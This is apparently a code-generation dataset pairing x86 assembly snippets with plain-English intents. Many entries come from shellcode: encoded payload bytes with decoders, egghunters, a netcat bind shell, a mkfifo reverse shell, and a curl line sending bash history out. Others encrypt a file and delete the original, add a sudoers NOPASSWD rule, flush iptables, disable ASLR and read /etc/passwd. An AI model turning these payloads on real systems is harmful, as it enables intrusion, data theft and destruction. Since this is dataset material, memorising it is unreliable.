| SNIPPETS INTENTS
|
| _appendfile: declare appendfile_label
|
| _appendfile: define the _appendfile label
|
| _build: declare _build label
|
| _build: define the _build label
|
| _child: define the _child label
|
| _close: declare _close label
|
| _close: define the _close label
|
| _cmd: define _cmd label
|
| _cmd: declare _cmd register
|
| _cmd: define the _cmd label
|
| _continue: define the _continue label
|
| _decoder: define _decoder_label
|
| _dup2_loop: define _dup2_loop label
|
| _dup2_loop: define the _dup2_loop label
|
| _egg: define the _egg label
|
| _exec: declare _exec _label
|
| _exec: define _exec label
|
| _exec: declare _exec label
|
| _exec: define the _exec label
|
| _execline: define _execline label
|
| _execline: define the _execline label
|
| _exit: define _exit label
|
| _exit: define the _exit label
|
| _file: _declare _file label
|
| _file: define _file_label
|
| _file: define the _file label
|
| _ip equ 0x0100007f define ip address as _ip = 0x0100007f
|
| _ip equ 0x0100007f define ip equal to 0x0100007f
|
| _isegg: define the _isegg label
|
| _load_data: define _load_data label
|
| _load_data: define the _load_data label
|
| _next: define the _next label
|
| _param: declare _param label
|
| _param: define the _param label
|
| _params: define _params label
|
| _params: define the _params label
|
| _parent_read: define the _parent_read label
|
| _parent: define the _parent label
|
| _random: define _random label
|
| _random: define the _random label
|
| _read: define _read label
|
| _return: define the _return label
|
| _setsockopt: define the _setsockopt label
|
| _shell: define the _shell label
|
| _socket: define the _socket label
|
| _start: declare _start label
|
| _start: _start function
|
| _start: _start label
|
| _start: _start
|
| _start: define the _start label
|
| _start: \n jmp call_decoder define the _start label and jump short to the call_decoder
|
| _start: \n jmp call_decoder define the _start label and jump to the call_decoder
|
| _start: \n jmp call_decoder define the _start label and jump to call_decoder
|
| _start: \n jmp short call_decoder define the _start label and jump short to the call_decoder
|
| _start: \n jmp short call_decoder define the _start label and jump short to call_decoder
|
| _start: \n jmp short call_shellcode define the _start label and jump short to the call_shellcode
|
| _start: \n jmp short call_shellcode define the _start label and jump short to call_shellcode
|
| _start: \n jmp short call_shellcode define the _start label and jump short to call_shellcode label
|
| _start: \n jmp short enc define the _start label and jump short to enc
|
| _start: \n jmp short stage define the _start label and jump short to stage
|
| _user: declare _user label
|
| _user: define the _user label
|
| _while_loop: define the _while_loop label
|
| _write: declare _write label
|
| _write: define _write label
|
| _write: define the _write label
|
| 1: define the numeric label 1
|
| 1: define the label 1
|
| 2: define the label 2
|
| 2: define the numeric label 2
|
| 3: define the label 3
|
| 3: define the numeric label 3
|
| a_letter db 'd' allocate one byte of memory for a_letter variable and initialize it to 'd'
|
| aas correct the result od the previous unpacked decimal substraction in al register
|
| adc eax, 0x9c09ebea sum hexadecimal value 0x9c09ebea with eax register. if cf is set, add 1 to eax.
|
| add [ebp-4], esi add esi into memory address ebp-4
|
| add ah, bh add the contents of the bh register into the ah register
|
| add al, 0x2 add 0x2 to al
|
| add al, 0x25 add 0x25 to the al register
|
| add al, 0x3 add 0x3 to the contents in al and save the result in al
|
| add al, 0x33 add 0x33 to the contents in al and save the result in al
|
| add al, 0x40 add 0x40 to the al register
|
| add al, 0x66 add 0x66 to the contents in al and save the result in al
|
| add al, 0xa add 0xa to the al register
|
| add al, 0xb add 0xb to the al register
|
| add al, 2 add 2 to al register
|
| add al, 2 add the value 2 to the contents of the al register
|
| add al, 3 add 3 to al register
|
| add al, 3 add 3 to al
|
| add al, byte '0' add byte '0' to al
|
| add al, byte [edi] add the byte in edi to the al register
|
| add al,0x2 add hexadecimal value 0x2 to al register
|
| add al,0x3 add the value 0x3 into al register
|
| add al,0x33 add the hexadecimal value 0x33 to al register
|
| add al,0x3b add hexadecimal value 0x3b to al register
|
| add al,0x66 add the hexadecimal value 0x66 to al register
|
| add ax, [di + 20] add memory[di + 20] to ax
|
| add ax, 01 add 01 to ax
|
| add ax, bx add the contents of bx into ax
|
| add bl, 0x2 load jexadecimal value 0x2 into bl register
|
| add bl, 0x2 add 2 to bl content
|
| add bl, 0x2 add 0x2 to the contents in bl and save the result in bl
|
| add bx, ax add ax to bx
|
| add byte [edi], 0x4 \n not byte [edi] add 0x4 from the byte at the address edi and negate the result
|
| add byte [edi], 7 \n not byte [edi] add the byte at the address edi after subtracting the value 7
|
| add byte [edi], 8 \n not byte [edi] add the value 8 from the byte in edi and negate it
|
| add byte [esi], 0x02 add 0x02 to the current byte in esi
|
| add byte [esi], 0x1 \n not byte [esi] add 0x1 from the current byte of the shellcode and negate the result
|
| add byte [esi], 0x1 \n not byte [esi] add 0x1 from the byte at the address esi and negate the result
|
| add byte [esi], 0x10 add 0x10 to the current byte in esi
|
| add byte [esi], 0x9 \n not byte [esi] add the value 0x9 from the current byte of the shellcode and then negate the result
|
| add byte [esi], 2 adds 2 to the first character pointed from esi
|
| add byte [esi], 2 add the byte value 2 to the esi register
|
| add byte [esi], 2 \n not byte [esi] negate the byte at the address esi after adding the value 2
|
| add byte [esi], 3 \n not byte [esi] add the value 3 from the byte in esi and negate it
|
| add byte [var], 10 add 10 to the single byte stored at memory address var
|
| add byte [var], 20 add 20 to the single byte stored at memory address var
|
| add byte [var], 30 add 30 to the single byte stored at memory address var
|
| add byte_value, 65 add an immediate operand 65 to byte_value
|
| add byte_value, dl add the register dl in the memory location byte_value
|
| add cl, 0x2 add 2 to counter
|
| add cl, 0x2 add 2 to counter cl
|
| add cl, 0x2 add 0x2 to the contents in cl and save the result in cl
|
| add cl, 0xb8 add 0xb8 to the cl register
|
| add dx, 0x1b add the value 0x1b into the dx register
|
| add dx, 0x2f2f add 0x2f2f to the contents in dx and save the result in dx
|
| add dx,0x1b add 27 to dx contents
|
| add dx,0x2f2f then add to it the hexadecimal value 0x2f2f.
|
| add eax, [ebp-4] add the contents of the local variable stored at ebp-4 into eax
|
| add eax, 0x10 add 0x10 to eax
|
| add eax, 0x12345678 add 0x12345678 to the contents in eax and save the result in eax
|
| add eax, 0x2d383638 add 0x2d383638 to the contents in eax and save the result in eax
|
| add eax, 0x2d383638 \n push eax push ÔhmodÕ on stack
|
| add eax, 0x31179798 add 0x31179798 to the contents in eax and save the result in eax
|
| add eax, 0x5 \n jnz L2 add 0x5 to edx and jump to L2 if the result is not 0
|
| add eax, 0x7 \n jnz L4 add the value 0x7 to eax and jump to the label L4 if the sum is not zero
|
| add eax, 1 \n jnz L1 add 1 to ebx and jump to L1 if the result is not zero
|
| add eax, 10 add 10 to eax
|
| add eax, 10 add 10 to the contents of eax
|
| add eax, 16 add 16 to eax
|
| add eax, 2 add 2 to the contents of the eax register
|
| add eax, 2 add 2 to the eax register
|
| add eax, 2 add decimal 2 to eax register
|
| add eax, 24 add 24 to eax
|
| add eax, 3 \n jnz L3 add 3 to ecx and jump to L3 if the sum is not zero
|
| add eax, 4 add 4 to eax
|
| add eax, 4 \n jnz decode add 4 to eax and jump to decode if the result is not zero
|
| add eax, 40000h add 40000h to eax register
|
| add eax, 48 add decimal 48 to eax
|
| add eax, 48 add 48 to eax
|
| add eax, 9 \n jnz decode add the value 9 to eax and jump to decode if the result is not zero
|
| add eax, c add c to eax
|
| add eax, ebx add the contents of ebx to the contents of eax
|
| add eax, ebx add the value on ebx to eax
|
| add eax, ebx add ebx to eax
|
| add eax, ebx add ebx to eax and store the result in eax
|
| add eax, edx add edx to eax
|
| add eax, edx add the contents of edx to the contents of eax
|
| add eax, edx add the contents of the edx register to the contents of eax register
|
| add eax, esi add the contents of esi to the contents of eax
|
| add eax, esi add the contents of the esi register to the contents of eax register
|
| add eax,0xe458376a add hexadecimal value 0xe458376a to eax register
|
| add ebp, 0x2 add 0x2 to the contents of ebp
|
| add ebp, 0x2 add 0x2 to ebp
|
| add ebx, 0x2 save sys_connect = 3 into ebx register
|
| add ebx, 0x2 add 0x2 to the contents in ebx and save the result in ebx
|
| add ebx, 16 add 16 to ebx
|
| add ebx, 2 add decimal integer 2 to ebx
|
| add ebx, 2 add 2 to the contents of the ebx register
|
| add ebx, 24 add 48 to ebx
|
| add ebx, 3 add the value 3 to the content of ebx register
|
| add ebx, 3 add 3 to the contents of the ebx register
|
| add ebx, 5 add decimal integer 5 to ebx
|
| add ebx, ecx add ecx to ebx
|
| add ebx,2 add 2 to ebx content
|
| add ecx, 1 add the value 1 into the ecx register
|
| add ecx, 16 add 16 to ecx
|
| add ecx, ebx add ebx to ecx
|
| add edi, 2 add 2 to edi
|
| add edi, 37 add 37 to edi contents
|
| add edi, edi add the contents of edi to the contents of edi
|
| add edi, edi add the contents of the edi register to the contents of edi register
|
| add edi,0x11111111 add hexadecimal value 0x11111111 to edi content
|
| add edx, 16 set edx to next 16 byte block
|
| add edx, 32 add 32 to edx
|
| add edx, 48 add 48 to edx
|
| add edx, 64 add the value 64 to the content of edx register
|
| add edx, 64 add 64 to the contents of the edx register
|
| add edx, eax add the contents of eax to the contents of edx
|
| add edx, eax add the contents of the eax register to the contents of edx register
|
| add edx, eax add the contents of the eax register to the edx register
|
| add edx, ecx add ecx to edx
|
| add edx,ebx add ebx content to edx
|
| add esi, 0x21354523 add 0x21354523 to the contents in esi and save the result in esi
|
| add esi, 0x21354523 add 0x21354523 to the contents of esi
|
| add esi, 0x30 add hexadecimal value 0x30 to esi content
|
| add esi, 0x30 add 0x30 to esi
|
| add esi, 0x33333333 add the hexadecimal value 0x33333333 at esi content
|
| add esi, 0x33333333 add 0x33333333 value to esi
|
| add esi, 0x3f3f3f3f add 0x3f3f3f3f to the contents in esi and save the result in esi
|
| add esi, 0x8 add 0x8 to esi
|
| add esi, 0x8 "make esi point to next 8bytes of ""shellcode"""
|
| add esi, 2 add 2 to the contents of esi
|
| add esi, 4 add 4 to the contents of the esi register
|
| add esi, 4 add 4 to esi
|
| add esi, eax set the mem addr dinamically
|
| add esi, eax add the contents of the eax register to the contents of esi register
|
| add esi, eax add eax to esi
|
| add esi,4 scan the next section of mem
|
| add esp, 0x20 add 0x20 to the contents in esp and save the result in esp
|
| add esp, 3 add 3 to the contents of esp
|
| add esp, 3 add 3 to the contents of the esp register
|
| add esp, 4 add 4 to the esp register
|
| add marks, 10 add 10 to the variable marks
|
| addr: db 0x1 define addr = db 0x1
|
| addr: db 0x1 define the byte addr and initialize it to 0x1
|
| all: define _all label
|
| all: define the all label
|
| an_integer dd 12425 define the doubleword an_integer and initialize it to 12425
|
| and al, 0fh perform a logical and operation between the al register and the 0fh value and store the result in the al register
|
| and ax, 1 perform logical and between ax and 1
|
| and eax, 0000000fh mask out lowest 4 bits of the eax register
|
| and eax, 0fh clear all but the last 4 bits of eax
|
| and eax, 3f465456 perform and operation between eax and 3f465456 and save the result in eax
|
| and eax, 40392b29 perform and operation between eax and 40392b29 and save the result in eax
|
| and ebx, 0000000fh mask out lowest 4 bits of the ebx register
|
| and ecx, 0000000fh mask out lowest 4 bits of the ecx register
|
| and ecx,dword ptr [eax-0x7] anding the double word at the adress eax-0x7 and ecx register
|
| and ecx,dword ptr [ebx+0x1a] anding the double word at the adress ebx+0x1a and ecx register
|
| and edx, 0000000fh mask out lowest 4 bits of the edx register
|
| and mask1, 128 perform and operation on the variable mask1 and 128
|
| arr dd 100 define the doubleword arr and initialize it to 100
|
| arr dd 50 define the doubleword arr and initialize it to 50
|
| arr1 resb 400 reserve the array arr1 of 400 uninitialized bytes
|
| array dd 20 define the doubleword arr and initialize it to 20
|
| array word 20 define an array of 20 initialized word
|
| array word 5 define an array of 5 initialized word
|
| aslr_file: define _aslr_file label
|
| b: dd 0x0 create variable b in memory and initialize to zero
|
| big_number dd 123456789 define the doubleword variable big_number and initialize it to 123456789
|
| bignum: resw 1 reserve 1 word at location bignum
|
| bound ebp,qword ptr [ecx+0x6e] perform a bound check to array index
|
| bound ebp,qword ptr [edx-0x55915597] perform a bound check to array index
|
| bound esp,qword ptr [ebx+0x41] perform a bound check to array index
|
| buffer: resb 64 reserve 64 bytes for buffer
|
| buffersize: dw 1024 declare buffersize to be a word containing 1024
|
| byte_table db 14, 15, 22, 45 define a tables of bytes byte_table and initialize to 14, 15 and 22
|
| byte_value db 150 define the byte value byte_value and initialize it to 150
|
| bytes db 10 define the byte value bytes and initialize it to 10
|
| bytes db 20 define the byte value bytes and initialize it to 20
|
| call _appendfile call the _appendfile function
|
| "call _appendfile \n msg2 db ""passwd"", 0x00" jump to _appendfile label after putting the address of the next istruction on the top pf the stack
|
| call _build call the _build function
|
| "call _build \n msg db ""curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post"", 0x0a" push the address of msg on the top of the stack, and then change the eip to the address in _build label
|
| call _continue call _continue
|
| call _continue call the _continue function
|
| call _exec jump to _exec label
|
| call _exec call the _exec function
|
| "call _exec \n msg db ""mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt"", 0x0a" push the address of message on the top of the stack, and then change the eip to the address in _exec label
|
| call _exit call _exit
|
| call _malloc call _malloc
|
| call _myfunc call the _myfunc function
|
| call _params call the _params function
|
| "call _params \n string db ""test.txt""" push the address of test.txt on the top of the stack, and then change the eip to the address in _params label
|
| call _printf call the _printf function
|
| call _write call the _write function
|
| "call _write \n google: db ""127.1.1.1 google.com""" go to _write label after entering google address on the top of the sack
|
| call [esp] push the current code location on stack and the perform an unconditional jumo to the code location indicated by esp content
|
| call [esp] execute decoded_shellcode
|
| call [esp] call the function in esp
|
| call atoi call the atoi function
|
| call code call the code function
|
| "call code \n file: db ""/sbin/iptables#-f""" "push the address of file: db ""/sbin/iptables#-f"" on the top of the stack, and then change the eip to the address in code_label"
|
| call cont call the cont function
|
| call cont \n db '0',10 go to _cont after entering db '0',10 adress on the top of the stack
|
| call decoder jump to _decoder label
|
| call decoder go to _decoder label
|
| call decoder go to deocder label
|
| call decoder jump to decoder_label
|
| call decoder call the function decoder
|
| call decoder call the decoder function
|
| call decoder call decoder
|
| call decoder \n encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539 jump to _decoder label after saving encoded_shellcode ' dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539' pointer to esi
|
| call decoder \n encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539 jump to decoder_label after entering the double word string encoded '0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539' on stack
|
| call decoder \n encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce push the address of encodedshellcode on the top of the stack, and then change the eip to the address in _shellcode label
|
| call decoder \n encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94, 0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87 jump to _decoder label after entering _encodedshellcode (db db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87) on the top of the stack
|
| call decoder \n shellcode: db 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87 go to _decoder label after entering the address of the array shellcode (0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87) on the top of the stack
|
| call decoder \n shellcode: db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d go to _decoder label after entering shellcode (db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d) address on the top of the stack
|
| call decoder \n shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23 \n shellcodelen equ $-shellcode shellcode address will be pushed into the stack
|
| call decoder \n shellcode: db 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01 go to _decoder label after entering shellcode Ô0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01Õ on the top of the stack
|
| call decoder \n xor dword ptr [edx-0x55af5540],ebp xoring ebp content with the double word at the adress edx-0x55af5540 then go to decoder label
|
| call decoder_setup call decoder_setup
|
| call decoder1 \n xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa \n rot_value: db 13, 13, 13, 13, 13, 13, 13, 13 \n shellcode: db 0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27 jump to decoder1_label afetr entering xor_value, rot_value and shellcode on the top pf the stack
|
| call doit call the doit function
|
| call egghunter go to egghunter
|
| call egghunter call the egghunter function
|
| call esi call esi
|
| call esi call the function in esi
|
| call esp call esp
|
| call execute call the execute function
|
| "call execute \n db ""cp /bin/sh /tmp/shÓ" "put db ""cp /bin/sh /tmp/shÓ address on stack then jump to _esecute label"
|
| call internetreadfile call function internetreadfile
|
| call iprint call the iprint function
|
| call iprintlf call the iprintlf function
|
| call jmp_search call jmp_search
|
| call jmp_search call the jmp_search function
|
| call loader call loader
|
| call loader call the loader function
|
| call main call the main function
|
| call me call the me function
|
| call my_subroutine call my_subroutine
|
| call near stageaddress call near stageaddress
|
| call near stageaddress call the near function
|
| call one call the one function
|
| "call one \n string: db ""/etc/passwd""" "push the address of string: db ""/etc/passwd"" on the top of the stack, and then change the eip to the address in one_label"
|
| call open jump to open_label
|
| call prepare call the prepare function
|
| call prepare \n db ',ajm,pk#########' go to prepere after storing string on the stack
|
| call quit call the quit function
|
| call returnlabel call returnlabel
|
| call set_argv call set_argv
|
| call set_argv call the set_argv function
|
| "call set_argv \n cmd: db ""cat /etc/passwd;echo do__ne""" "go to _set_argv label afeter entering the byte string cmd = cat /etc/passwd;echo do__ne on stack"
|
| call shell_ret call the shell_ret function
|
| call shell_ret \n db Ò/bin/shÓ go to shell_ret label after ebtering byte string Ò/bin/shÓ address on stack
|
| call shellcode jump to the address of shellcode_label
|
| call shellcode call the shellcode function
|
| call shellcode \n db '/proc/sys/kernel/randomize_va_space' go to _shellcode label after entering the address of the string = Ô/proc/sys/kernel/randomize_va_space' on the top of the stack
|
| call shellcode \n db '/proc/sys/kernel/randomize_va_spacex' go to _shellcode label after entering the byte string '/proc/sys/kernel/randomize_va_spacex' address on stack
|
| call shellcode \n db 'my.txtx' go to _shellcode label after entering the byte string Ômt.txtxÕ address on the top of the stack
|
| "call shellcode \n message db ""/bin/sh""" push the address of /bin/sh on the top of the stack, and then change the eip to the address in shellcode_label
|
| call shellcode \n port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 go to shellcode label after entering port: db db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 address on stack
|
| call shellcode db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' jump to shellcode_label after entering the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' on the top of the stack
|
| call sprint call the sprint function
|
| call sprintlf call the sprintlf function
|
| call start call the start function
|
| call strlen call the strlen function
|
| call two call the two function
|
| call write go to _write label
|
| call write call the write function
|
| "call write \n db ""all all=(all) nopasswd: all"" , 0xa" "entring db ""all all=(all) nopasswd: all"" , 0xa address on stack, then jump to _write label"
|
| call writestring call writestring
|
| call writestring call the writestring function
|
| "call writestring \n db ""rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr""" "go to _writestring label after entering the byte string ""rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr"" address on the top of the stack"
|
| call_decoded: define call_decoded_label
|
| call_decoded: define the call_decoded label
|
| call_decoded: \n call [esp] define call_decoded and execute it
|
| call_decoder: declare _call_decoder label
|
| call_decoder: define _call_decoder label
|
| call_decoder: define call_decoder label
|
| call_decoder: define call_decoder_label
|
| call_decoder: define call_decoder function
|
| call_decoder: define call_decoder
|
| call_decoder: call_decoder label
|
| call_decoder: define the call_decoder label
|
| call_decoder: \n call decoder define call_decoder and call decoder function
|
| call_decoder: \n call decoder define the call_decoder label and call the decoder function
|
| call_decoder: \n call decoder define call_decoder and call decoder
|
| call_decoder: \n call decoder \n shellcode: db 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87 in the function call_decoder call the decoder routine and define shellcode as array of bytes 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87
|
| call_egghunter: define call_egghunter label
|
| call_egghunter: define the call_egghunter label
|
| call_shellcode: declare _call_shellcode label
|
| call_shellcode: declare call_shellcode_label
|
| call_shellcode: define call_shellcode_label
|
| call_shellcode: delcare call_shellcode_label
|
| call_shellcode: define call_shellcode label
|
| call_shellcode: define call_shellcode function
|
| call_shellcode: call_shellcode function
|
| call_shellcode: call_shellcode routine
|
| call_shellcode: declare the call_shellcode label
|
| call_shellcode: define the call_shellcode label
|
| call_shellcode: \n call decoder define the call_shellcode label and call the decoder function
|
| call_shellcode: \n call decoder define the call_shellcode function and call decoder
|
| call_shellcode: \n call decoder define call_shellcode and call decoder function
|
| call_shellcode: \n call decoder in call_shellcode call the decoder function
|
| call_shellcode: \n call decoder in call_shellcode execute the decoder routine
|
| call_write: define _call_write label
|
| call_write: define the call_write label
|
| callit: define the callit label
|
| callme: define the callme label
|
| callpop: define _ callpop label
|
| callpop: define the callpop function
|
| callpop: define the callpop label
|
| cdq convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax
|
| cdq convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax (clear eax and edx registers)
|
| cdq zero out edx using the sign bit from eax
|
| cdq save edx as a null byte
|
| cdq convert signed dword in eax to a signed quad word in edx:eax
|
| cdq set edx to 0
|
| cdq edx to 0
|
| cdq set edx = 0
|
| cdq overwriting edx with either 0
|
| cdq zero out edx
|
| cdq clear the edx register
|
| cdq extend the sign bit of the eax register into the edx register
|
| cdq extend the sign bit of eax register into the edx register
|
| cdq extend the sign bit of eax into the edx register
|
| cdq \n mov ecx, edx zero out edx and ecx regsiter
|
| cdq \n push edx zero out edx and push ortocol id = 0 on stack
|
| check_even_odd: define check_even_odd label
|
| check_even_odd: define check_even_odd
|
| check_even_odd: define check_even_odd function
|
| child: define the child function
|
| child: define the child label
|
| chmod_call equ 15 define chmod_call =15
|
| chmod_call equ 15 define chmod_call equal to 15
|
| choice db 'y' define variable choice of 1 byte and initialize to y
|
| cld clear the direction flag
|
| cld clear direction flag increasing si and di index registers.
|
| cld set the direction flag to zero
|
| cld direction flag equal to zero
|
| cli clear interrupt flag
|
| close_syscall equ 6 define close_syscall=6
|
| close_syscall equ 6 define close_syscall equal to 6
|
| close: define close_label
|
| closefile: define _closefile label
|
| closefile: define the closefile function
|
| closefile: define the closefile label
|
| cmd: define _cmd label
|
| cmd: define the cmd label
|
| cmd: db 'cat /etc/passwd' declare cmd string and initialize it to 'cat /etc/passwd'
|
| cmd: db 'cat /etc/passwd' define cmd as the byte string 'cat /etc/passwd'
|
| cmp [ebp+arg_0], 1 compare the contents stored at ebp+arg_0 with 1
|
| cmp [ebp+var_a], 0 compare if the contents at memory location ebp+var_a is 0
|
| cmp [ebp+var_a], 0 compare the contents at memory location ebp+var_a with 0
|
| cmp [ebp+var_a], 0 \n jnz short loc_4010E5 jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero
|
| cmp [ebp+var_a], 0 \n jnz short loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5
|
| cmp [esi], edx compare the contents at memory location esi and the contents of the edx register
|
| cmp [esi], edx compare the contents at memory location esi with edx
|
| cmp al, 0x38 \n je 0x40 \n push byte 0x1 jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack
|
| cmp al, 0x38 \n je 0x40 \n push byte 0x1 if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack
|
| cmp al, 0xaa \n je decode_insertion \n xor al, bl jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register
|
| cmp al, 0xaa \n je decode_insertion \n xor al, bl if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register
|
| cmp al, 0xf2 if it return efault, bad address
|
| cmp al, 0xf2 compare if the contents of al with 0xf2
|
| cmp al, 0xf2 compare the contents of the al register and 0xf2
|
| cmp al, 0xf2 compare the contents of the al register with the value 0xf2
|
| cmp al, 0xf2 \n je _start jump to the _start label if the contents of the al register is equal to the value 0xf2
|
| cmp al, 0xf2 \n je _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label
|
| cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register
|
| cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register
|
| cmp al, 0xf2 \n je fillOnes jump to the fillOnes label if the contents of the al register is equal to the value 0xf2
|
| cmp al, 0xf2 \n je fillOnes if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label
|
| cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register
|
| cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register
|
| cmp al, 0xf2 \n je next_page jump to the label next_page if the contents of the al register is equal to the value 0xf2
|
| cmp al, 0xf2 \n je next_page if the contents of the al register is equal to the value 0xf2 then jump to the label next_page
|
| cmp al, 0xf2 \n jz _start jump to the _start label if the contents of the al register is equal to the value 0xf2
|
| cmp al, 0xf2 \n jz _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label
|
| cmp al, 0xf2 \n jz incpage if the contents of the al register is equal to the value 0xf2 then jump to the incpage label
|
| cmp al, 0xf2 \n jz incpage jump to the incpage label if the contents of the al register is equal to the value 0xf2
|
| cmp al, 0xf2 \n jz next_page verify if sys_access returned an efault, and if it matchs jump to next_page label
|
| cmp al, 9 \n jg l1 jump to the label l1 if the contents of the al register is greater than the decimal value 9
|
| cmp al, 9 \n jg l1 if the contents of the al register is greater than the decimal value 9 then jump to the label l1
|
| cmp al, 9 \n jge l1 jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9
|
